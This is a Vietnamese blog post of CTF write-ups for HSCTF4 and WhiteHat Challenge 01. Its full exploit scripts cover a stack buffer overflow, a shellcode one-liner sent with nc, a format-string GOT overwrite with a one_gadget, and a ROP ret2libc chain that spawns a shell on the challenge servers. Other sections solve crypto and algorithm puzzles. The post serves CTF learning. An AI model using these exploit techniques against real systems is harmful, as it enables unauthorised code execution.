Z NQT

[HSCTF4]

Giải này là kỉ niệm một năm ngày mình bắt đầu vào con đường InfoSec và bắt đầu tham gia CTF. Sau một năm thì thấy khá hơn hơn hồi đó nhưng vẫn còn noob lắm…

Giải này tính không chơi mà do vài vấn đề nên vẫn chơi :3. Lần đầu được chơi cùng với Tú senpai với Cún idol nên sung sướng lắm :)). Team try hard từ ngay ngày đầu nhưng ém flag :)), mấy ngày cuối do còn đồ án nên submit hết rồi nghỉ. Kết quả team lessthan3.kaonashi được 6750 points :))

Sau đây mình write-up 1 vài bài:

El Clasico :

Bài này là một bài bof đơn giản

elc

Chỗ hàm gets() không giới hạn số kí tự nhập vào nên lợi dụng nó ta có thể trả về địa chỉ cần đến. Trong chương trình có sẵn system(“/bin/sh”) nên dùng luôn.

code

from pwn import *
elf=ELF("./elclasico")


def main(argv):
	if len(argv) <2:
		r=process("./elclasico")
	else:
		r=remote("104.131.90.29",8001)
	r.recvuntil("Enter your name: ")
	pl="A"*0x48
	pl+=p64(0x0000000000400778) # system("/bin/sh")
	pl+=p64(0x0000000000400590)
	
	r.sendline(pl)
	r.interactive()
	
main(sys.argv)

Keith’s Shell :

Bài này thì đọc code thì cũng có thể hiểu là nó cho nhập 1 chuỗi sau đó thực thi chuỗi đó (shellcode). Trong chương trình đã có sẵn hàm exploit luôn để cat flag rồi nhưng gọi thẳng hàm đó thì không được nên ta sẽ viết một đoạn shellcode ngắn :

push 0x080489FB #địa chỉ hàm exploit
ret
python -c 'print "\x68\xFB\x89\x04\x08\xC3"' | nc 104.131.90.29 8003

KE1TH :

Bài cho 1 file class. Ta decompile nó ra. Cần chú ý các đoạn sau

private byte[] iv = { 10, -73, -33, -65, 87, 87, -121, -41, -16, 89, 12, 31, 7, 82, -43, -100 };
...
byte[] bkey = java.util.Base64.getDecoder().decode("/Vl4PKzS9d+Vm/0eePmaYw==");
...
public boolean check(String string)
  {
    return string.equals("-93^35^23^82^-4^57^-128^83^-95^-60^-100^73^40^-86^7^73^-101^3^118^-66^-104^69^121^76^1^-124^-124^-1^-64^29^28^43^2^-25^54^52^-79^-62^11^-43^52^-72^-117^-25^-103^-55^75^-97^");
  } 

Chương trình sẽ encrypt chuỗi flag nhập vào bằng AES CBC. Có IV, có key, có ciphertext (chuyển về dạng hex) thì sẽ decrypt được

Kết quả :

Ke1th

Pascal’s Triangle

Đề https://play.hsctf.com/hsctf-static/PascalsTriangle_293eb01dfec8799fc21339f16b24b38bba261252b588c53a5347d30ebda708cf.pdf

pascal

Thuật toán cũng không có gì khó. Nhưng cần chú ý đến các điều kiện n,p để tính nhanh và chính xác:

import math
def nCr(n,r):
	f=math.factorial
	try:
		return f(n)/f(r)/f(n-r)
	except:
		return 0

def matt(n,p):
	sum=0
	if n-p>2*p:
		r=2*p+1
	else:
		r=n-p+1
	for i in xrange(r):
		sum+=nCr(n,i+p)*nCr(2*p,i)
	return sum
N=10**9+7
a1=matt(50,30) % N
print '[1] done'
a2=matt(4234,4000) % N
print '[2] done'
a3=matt(3000,1234) % N
print '[3] done'
a4=matt(2017,34) % N
print '[4] done'
a5=matt(4000,3000) % N
print '[5] done'
a6=matt(5000,3000) % N
print '[6] done'
print a1,a2,a3,a4,a5,a6

Keith’s March

Bài này là dạng thuật toán. Đại khái cái đề là muốn tìm một đa giác lồi bao quanh các điểm còn lại. Mình tìm được một thuật toán để giải quyết vấn đề này là Convex hull. Người ta đã code khá nhiều rồi nên dùng luôn… Mình lấy từ trang này https://startupnextdoor.com/computing-convex-hull-in-python/ chỉnh sửa chút ít

Code để in ra các điểm:

from collections import namedtuple  
import matplotlib.pyplot as plt  
import random

Point = namedtuple('Point', 'x y')


class ConvexHull(object):  
	_points = []
	_hull_points = []

	def __init__(self):
		pass

	def add(self, point):
		self._points.append(point)

	def _get_orientation(self, origin, p1, p2):
		'''
		Returns the orientation of the Point p1 with regards to Point p2 using origin.
		Negative if p1 is clockwise of p2.
		:param p1:
		:param p2:
		:return: integer
		'''
		difference = (
			((p2.x - origin.x) * (p1.y - origin.y))
			- ((p1.x - origin.x) * (p2.y - origin.y))
		)

		return difference

	def compute_hull(self):
		'''
		Computes the points that make up the convex hull.
		:return:
		'''
		points = self._points

		# get leftmost point
		start = points[0]
		min_x = start.x
		for p in points[1:]:
			if p.x < min_x:
				min_x = p.x
				start = p

		point = start
		self._hull_points.append(start)

		far_point = None
		while far_point is not start:

			# get the first point (initial max) to use to compare with others
			p1 = None
			for p in points:
				if p is point:
					continue
				else:
					p1 = p
					break

			far_point = p1

			for p2 in points:
				# ensure we aren't comparing to self or pivot point
				if p2 is point or p2 is p1:
					continue
				else:
					direction = self._get_orientation(point, far_point, p2)
					if direction > 0:
						far_point = p2

			self._hull_points.append(far_point)
			point = far_point

	def get_hull_points(self):
		if self._points and not self._hull_points:
			self.compute_hull()

		return self._hull_points

	def display(self):
		# all points
		x = [p.x for p in self._points]
		y = [p.y for p in self._points]
		plt.plot(x, y, marker='D', linestyle='None')

		# hull points
		hx = [p.x for p in self._hull_points]
		hy = [p.y for p in self._hull_points]
		plt.plot(hx, hy)

		plt.title('Convex Hull')
		plt.show()


def main(): 
	r=open('a.txt','r').read()
	a=r.split('\n')
	a=a[:len(a)-1]
	ch = ConvexHull()
	for i in a:
		b=i.split(' ')
		x=int(b[0])
		y=int(b[1])
		ch.add(Point(x,y))

	print("Points on hull:", ch.get_hull_points())
	ch.display()


if __name__ == '__main__':  
	main()

Tính toán …

'''
-499 78
-497 -384
-488 -471
-337 -487
-184 -500
130 -500
376 -498
399 -495
477 -466
488 -437
490 -431
493 -381
499 123
488 433
480 489
446 492
195 498
-317 500
-488 490
-497 381
-499 308
'''
r=open('data','r').read()
t=1
a=r.split('\n')
x=1
y=1
print a
for i in a:
	b=i.split(' ')
	print b
	x=x*int(b[0])
	y=y*int(b[1])

print (x*y)%(7+10**9)

Never Say Goodbye

Một bài format string cũng không quá khó. Dạng này giống bài consolse bên pico2017. Có điều cần dùng vài trick mà mình nghĩ lạ với các bạn mới chơi.

  • problem 1:

Đầu tiên, kiểm tra file là file 64bit. Điều này sẽ ảnh hưởng đến hàm printf. Khi in ra gặp kí tự null thì sẽ bỏ đoạn sau. Mà hầu như các địa chỉ got đều có nullbyte trong địa chỉ. Nên khi payload để ghi có chứa địa chỉ got ở đầu thì chắc chắn sẽ thọt. Mình nghĩ nhiều bạn đều vướng ở đây. Và cách mình tìm được từ giải pico2017 là sẽ để các địa chỉ cần ghi ở cuối. Nhưng nếu để ở cuối thì sao ghi ? Tất nhiên là vẫn có cách, ta dùng format string %{offset}$p để chỉ đến địa chỉ cần ghi ở dưới đó. (offset là khoảng cách từ argv hàm printf đến vị trí của địa chỉ cần ghi)

Vậy payload sẽ có dạng

payload = "%{offset1}$p%{offset2}$p... (các giá trị cần ghi) ... (offset1: địa chỉ cần ghi1) (offset 2: địa chỉ cần ghi 2)"

Vậy là ta sẽ ghi được thoải mái

  • problem 2:

Giờ ghi được rồi nhưng ghi vào đâu ? Điều ta muốn là có thể ghi được system(“/bin/sh”) ở đầu đó mà nằm trên luồn thực thi. Mà trong 1 lần thì khó có thể ghi nhiều -> trong chương trình có hàm function, ở đó có hàm puts, ta có thể ghi vào got của puts để có thể quay lại main được nhiều lần (BTC cũng hint cái này never say goodbye có nghĩa là k chạy dòng đó).

nsg

Vấn đề tiếp theo là ghi system(“/bin/sh”) ở đâu ? ghi printf ? để thành system(a1) ? Nghe cũng hợp lí đó! Nhưng thực ra không được vì sau khi ghi xong quay lại main nó lại gọi printf ngay đầu -> chưa kịp nhập /bin/sh.

Có thể là sẽ ghi được system vào setbuf, /bin/sh vào stdout. Có vẻ cũng được đó! Cơ mà các bạn thử đi, mình có cách khác :)).

Cách này có vẻ ảo diệu hơn, magic hơn :))). Mình cũng mới biết gần đây và muốn áp dụng vào bài này.

  • Magic gadget (one-gadget RCE)

Có một vấn đề ở trên quên ghi là cần phải leak được địa chỉ libc để biết địa chỉ của libc base, từ đó mới có thể ghi các hàm trong libc vào. Vấn đề này khá đơn giản. Chỉ cần dùng %{offset}$p là có thể leak được trong 1 địa chỉ libc nào đó trong stack. Xem code để hiểu rõ hơn …

Quay lại vấn đề cần bàn ở đây, one-gadget RCE là gì ? RCE là remote code execute, trick này chủ yếu dựa trên việc trong libc đã build sẵn execve('/bin/sh', NULL, NULL) Nhưng cần phải thỏa một vài điều kiện. May mắn sao bài này thỏa một trong các điều kiện đó.

Sử dụng tool này để tìm offset trong libc của gadget đó https://github.com/david942j/one_gadget

one

Sau khi thử một vài cái thì offset 0xf0567 là phù hợp nhất. Điều này sẽ được chỉ ra trong code.

Code exploit :

from pwn import *
off_leak=0x0000000000020740 +240
off_system=0x0000000000045390 
to_system=off_system-off_leak

got_puts=0x0000000000601018
ret_main=0x0000000000400710
got_printf=0x0000000000601030
offset_leak=29
off_mg=0xf0567
to_mg=off_mg-off_leak


'''
one_gadget tool
0xf0567	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

context.clear(arch = 'amd64')
def main(argv):
	if len(argv)<2:
		r=process("./neversg")
	else:
		r=remote("104.131.90.29",8004)
	pause()

	# Stage 1 : write main to got puts and leak libc
	r.recvuntil("Enter something: ")
	offset=14 # offset to target 
	pl="%29$p....%{}$p".format(str(offset)) #  bypass not able print null byte in printf
	l=len(pl)
	pl+="%{}c%{}$hn".format(str(0xffff&ret_main-l-12),str(offset))
	pl+="A"*6 #padding
	pl+=p64(got_puts) #<-- target
	r.sendline(pl)

	#leak
	leak=int(r.recv(14),16)
	syst=leak+to_system
	log.info("system : "+hex(syst))
	
	magic_gadget=leak+to_mg
	log.info("magic : "+hex(magic_gadget))
	pause()

	# Stage 2 : write magic gadget to got puts
	r.recvuntil("Enter something: ")
	offset=21
	pl="%{}$p%{}$p%{}$p%{}$p".format(str(offset),str(offset+1),str(offset+2),str(offset+3))
	l=len(pl)
	#auto genarate payload
	ppp=fmtstr_payload(21,{got_puts:magic_gadget},(l-12*2+4),write_size='short')
	pl+=ppp[ppp.find('%'):] 
	pl+="\x00"*8 # <--- rsp+0x70
	pl+="\x00"*8

	pl+=p64(got_puts)
	pl+=p64(got_puts+2)
	pl+=p64(got_puts+4)
	pl+=p64(got_puts+6)

	print len(pl)
	r.sendline(pl)
	
	r.interactive()

if __name__=="__main__":
	main(sys.argv)

Keith and Dawg 5

Bài này căn bản cũng chỉ là đọc hiểu code rồi dịch lại. Đề cho một file rảr. Sau khi extract ra thì có 1 file lock.jar mà nó có chỉ cách chạy. Và chắn chắn là chạy k được (Phải cài thư viện này nọ rất mệt). Extract file jar đó và decompile Boot.class. Chương trình sẽ dùng opencl để có thể chạy trên GPU. Code nhiều vậy thôi nhưng thực ra cũng khá dễ.

Nhập chuỗi vào và nó kiểm tra chuỗi đó có đúng là flag không.

  1. Load pass.key vào
  2. Nhập chuỗi vào.
  3. Đưa flag và key thành 1 mảng int (từng char thành int đối với flag và từ số char thành số int)
  4. Sau đó nó sẽ dùng 1 hàm ctf trong kernel.cl để encrypt từng kí tự
  5. Kiểm tra từng kí tự đó với một chuỗi có sẵn

Ta sẽ bruteforce từng kí tự để kiểm tra.


kernel void ctf(global float* a, global float*b, global float* result, int const size) {
	const int itemId = get_global_id(0);
	if (itemId < size){
		float4 p = (float4)(4, 0, a[itemId], 3);
		float4 q = (float4)(8, b[itemId], -6, 7);
		float8 m = p.xwxyzyzy;
		float8 n = q.zyzwxyzw;
		float s = dot(m.even, n.lo);
		float t = dot(m.odd, n.hi);
		result[itemId] = s + t;
	}
}

Trong hàm ctf cần lưu ý các biến float4, float8. Đây là các vector float trong opencl. Tham khảo thêm https://www.khronos.org/registry/OpenCL/specs/opencl-2.1-openclc++.pdf để biểu diễn đúng

Code

from string import printable
key="161803398874989484820458683436563811772030917980576286213544862270526046281890244970720720418939113748475408807538689175212663386222353693179318006076672635443338908659593958290563832266131992829026"
check="NgLn TQvscdUp@k\\e^n(Jb"
a=[]
b=[]
size=len(check)
def dot(a,b,size=4):
	t=0
	for i in xrange(size):
		t+=a[i]*b[i]
	return t

def ctf(a,b,i):
	p=[4,0,a[i],3]
	q=[8,b[i],-6,7]

	meven=[p[0],p[0],p[2],p[2]]
	modd=[p[3],p[1],p[1],p[1]]

	nhi=[q[0],q[1],q[2],q[3]]
	nlo=[q[2],q[1],q[2],q[3]]
	s=dot(meven,nlo)
	t=dot(modd,nhi)
	return s+t

for i in xrange(size):
	a.append(ord(check[i]))
for i in xrange(size):
	b.append(int(key[i]))

res=[]
for i in xrange(size):
	res.append(0)
for i in xrange(size):
	for j in xrange(256):
		res[i]=j
		c=ctf(res,b,i)
		if c==a[i]:
			break
d=""
for i in xrange(size):
	d+=chr(res[i])
print d

Có vấn đề gì thắc mác về các bài các bạn cứ hỏi mình !

GLHF!

[WhiteHat Challenge 01] - Pwn

BTC cho 2 bài pwn khá dễ nên điểm cũng thấp :sosad:

Pwn 001:

pwn001

Đây chỉ là bài bof cơ bản (như cái tên bài).

Kiểm tra file trước …

checkpwn1

Bật NX này nọ. Elf 64-bit nữa.

Vào gdb debug. Tính toán khoảng cách để control eip với tính offset mấy cái hàm …

Gồm 2 stage. Ban đầu leak địa chỉ printf để tính libc base, sau đó quay về main và đưa payload call system(“/bin/sh”) vào.

Code :

from pwn import *

# find rop gadget
pop_rdi=0x0000000000400623

printf=0x0000000000400450
printf_got=0x0000000000601018
mainn=0x40057d

#compute offset (ssh)
off_printf=0x0000000000054340 
off_system=0x0000000000046590 
str_binsh=0x000000000017C8C3

def main(args):
	if len(args)<2:
		r=remote("127.0.0.1",9999)
	else:
		s=ssh(host="103.237.99.35",user="pwn001",password="Pwn001")
		r=s.process("./SimpleBoF")
	
	#leak libc

	pl="A"*40 

	pl+=p64(pop_rdi)
	pl+=p64(printf_got)
	pl+=p64(printf)

	pl+=p64(mainn) # return main after leak printf
	raw_input("?")
	r.sendline(pl)

	leak=r.recv(1024)

	print leak.encode('hex')

	libc_printf=u64(leak[len(leak)-8:len(leak)])
	libc_printf>>=16

	log.info("Leak printf: " + hex(libc_printf))

	libcbase=libc_printf-off_printf
	system=libcbase+off_system
	binsh=libcbase+str_binsh

	log.info("system: " + hex(system))
	log.info("binsh: " + hex(binsh))

	#exploit !
	pl="A"*40
	pl+=p64(pop_rdi)
	pl+=p64(binsh)
	pl+=p64(system)
	r.sendline(pl)

	r.interactive()

if __name__=="__main__":
	main(sys.argv)
	sys.exit(0)

donepwn1

Pwn002

pwn002

Cũng là bof mà ez hơn.

Kiểm tra file rồi quăng vào IDA. Để ctrinh strcpy argv của mình thì vào hàm check_argv.

check_argv

Nếu độ dài bằng 17 thì return 1 => cho phép copy. Và cũng vừa đủ để chạy hàm tiếp theo.

Ngoài ra ta còn thấy có sẵn hàm system. Xem thử thì thấy có func này …

stors

Rồi. pwn thôi.

donepwn2